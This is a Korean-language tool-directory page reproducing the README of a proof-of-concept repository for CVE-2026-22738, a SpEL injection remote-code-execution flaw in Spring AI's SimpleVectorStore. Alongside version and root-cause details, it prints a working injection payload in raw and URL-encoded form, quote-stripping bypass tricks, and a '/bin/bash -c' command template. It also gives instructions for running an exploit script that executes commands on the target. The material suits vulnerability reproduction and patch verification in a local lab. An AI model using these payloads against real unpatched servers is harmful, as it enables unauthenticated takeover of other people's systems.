Skip to content
KitploitKITPLOIT
도구블로그
제출
도구블로그
제출

해킹, 침투 테스트 및 사이버 보안 도구를 당신의 보안 무기고에!

Kitploit은 해킹, 사이버 보안 및 침투 테스트 도구 디렉토리입니다. 최신 프로젝트 업데이트를 발견하여 취약점을 찾고, 시스템을 분석하고, 테스트를 자동화하고, 보안을 강화하세요.

··피드·문의·개인정보·© 2026 Kitploit

도구 디렉토리

카테고리

모든 카테고리 보기
Loading categories
도구/GitHubGitHub/rockmelodies/cve-2026-22738
Vulnerability AnalysisExploitationWeb Application ExploitationLearning & EducationPayload DevelopmentRemote Access Trojan
GitHubrockmelodies/cve-2026-22738

CVE-2026-22738

SpEL 주입: SimpleVectorStore의 이스케이프되지 않은 필터 키를 통한 원격 코드 실행

저장소 보기
214개월 전아직 검토되지 않음

인기

모두 보기 →

커뮤니티에서 가장 많이 사용되는 도구를 찾아보세요.

모든 도구 탐색

도구 컬렉션을 둘러보세요

모든 도구 보기 →
공유

CVE-2026-22738 재현 환경

img.png

취약점 설명

CVE-2026-22738은 Spring AI SimpleVectorStore의 SpEL(Spring Expression Language) 주입 취약점으로, 인증되지 않은 원격 코드 실행(RCE)을 유발할 수 있습니다.

영향을 받는 버전

Artifact영향을 받는 버전수정 버전
org.springframework.ai:spring-ai-core1.0.0 – 1.0.41.0.5
org.springframework.ai:spring-ai-core1.1.0-M1 – 1.1.31.1.4

참고: 이 프로젝트는 취약점 재현을 위해 spring-ai-core:1.0.0 정식 버전을 사용합니다.

수정 커밋: ba9220b22383e430d5f801ce8e4fa01cf9e75f29

취약점 원리

SimpleVectorStore.similaritySearch() 메서드는 사용자가 제공한 필터 키 이름을 그대로 SpEL 템플릿에 전달하고, 이를 StandardEvaluationContext로 평가합니다. StandardEvaluationContext는 전체 JVM 리플렉션 API를 노출하므로, 공격자는 다음을 주입할 수 있습니다:

root@kitploit:~
T(java.lang.Runtime).getRuntime().exec(...)

필터 키에 이를 추가하여 인증되지 않은 OS 명령 실행을 구현합니다.

취약점 재현

다음 payload를 사용하며, URL 인코딩을 한 번 수행해야 합니다.

root@kitploit:~
"'] + T(java.lang.Runtime).getRuntime().exec('calc') + #metadata['"

%22'%5D%20%2B%20T(java.lang.Runtime).getRuntime().exec('calc')%20%2B%20%23metadata%5B'%22

payload를 filterKey 매개변수에 전달하면 계산기가 성공적으로 실행됩니다. img_1.png

우회 상세

단순한 주입 방법으로는 직접 효과를 볼 수 없습니다. 파서의 두 가지 특이점을 극복해야 합니다:

  1. 단일 따옴표 제거 — 단일 따옴표 '로 시작하는 키는 따옴표로 묶인 문자열로 간주됩니다. 외부 따옴표가 제거되어 payload가 손상됩니다.

  2. 이중 따옴표 래퍼 — payload를 이중 따옴표 "..."로 감싸면 파서가 외부 이중 따옴표를 제거하여, 내부 SpEL 표현식이 파서에 전달되는 키 값 #metadata['<KEY>']으로 유지됩니다.

  3. 빈 메타데이터 키 — 주입 표현식 양쪽에 #metadata[''](정의되지 않은 변수 대신)을 사용하면 unknown variable SpEL 오류를 피하면서도 exec()를 트리거할 수 있습니다.

계산된 표현식의 형태는 다음과 같습니다:

root@kitploit:~
#metadata[''] + T(java.lang.Runtime).getRuntime().exec(new String[]{'/bin/bash','-c','<cmd>'}) + #metadata[''] == 'x'

성공 지표

HTTP 응답 본문에 EL1030E SpEL 런타임 오류가 포함됩니다:

root@kitploit:~
operator ADD not supported between null and java.lang.ProcessImpl

이 오류는 exec()가 반환된 후 발생하며, 대역 외 콜백 없이 OS 수준 명령 실행이 완료되었음을 확인합니다.

환경 구축

사전 요구 사항

  • Docker 및 Docker Compose
  • Python 3 + requests 라이브러리 (pip install requests)

취약점 환경 빌드 및 실행

root@kitploit:~
# 컨테이너 빌드 및 시작
docker compose up -d --build

# 로그 확인
docker compose logs -f

취약점 악용 스크립트 실행

root@kitploit:~
# 의존성 설치
pip install requests

# 취약점 악용 실행 (애플리케이션 시작 대기)
python3 exploit.py --wait

# 또는 대상 지정
python3 exploit.py --target http://localhost:8082 --wait

매개변수 설명

플래그기본값설명
--targethttp://localhost:8082취약한 애플리케이션의 기본 URL
--wait꺼짐대상이 준비될 때까지 폴링 (docker compose up 이후 유용)

참고: Docker Desktop(macOS/Windows)은 콜백에 host.docker.internal을 사용하며, 127.0.0.1 payload가 적용됩니다.

악용 단계

이 개념 증명 프로세스는 5개의 연속 단계로 구성됩니다:

  1. 기준 확인 — 엔드포인트가 접근 가능하고 시드 데이터를 반환하는지 확인
  2. 블라인드 SpEL 프로브 — T(java.lang.System)을 읽어 java.version 주입 지점 확인
  3. RCE: 컨테이너 내부에서 touch /tmp/pwned_cve_2026_22738 실행
  4. RCE: id // uname 출력을 hostname으로 /tmp/rce_proof.txt에 기록
  5. 검증: docker exec를 통해 증명 파일 내용을 출력하여 검증

프로젝트 구조

root@kitploit:~
├── Dockerfile                    # Docker 빌드 파일
├── docker-compose.yml            # Docker Compose 구성
├── pom.xml                       # Maven 프로젝트 구성
├── settings.xml                  # Maven 설정 (Spring 저장소 포함)
├── exploit.py                    # 취약점 악용 스크립트
└── src/main/java/com/example/spelrce/
    ├── SpelRceLabApplication.java    # Spring Boot 메인 클래스
    ├── VulnController.java           # 취약점 컨트롤러
    ├── VectorStoreConfig.java        # VectorStore 구성
    └── DummyEmbeddingModel.java      # 모의 Embedding 모델

로컬 테스트 (Docker 사용 안 함)

root@kitploit:~
# 프로젝트 컴파일
mvn clean package -DskipTests

# 애플리케이션 실행
java -jar target/spel-rce-lab-1.0.0.jar

# 다른 터미널에서 취약점 악용 실행
python3 exploit.py --target http://localhost:8082

참고 자료

  • CVE-2026-22738
  • Spring AI 수정 커밋
  • 원본 PoC 프로젝트
도구 다운로드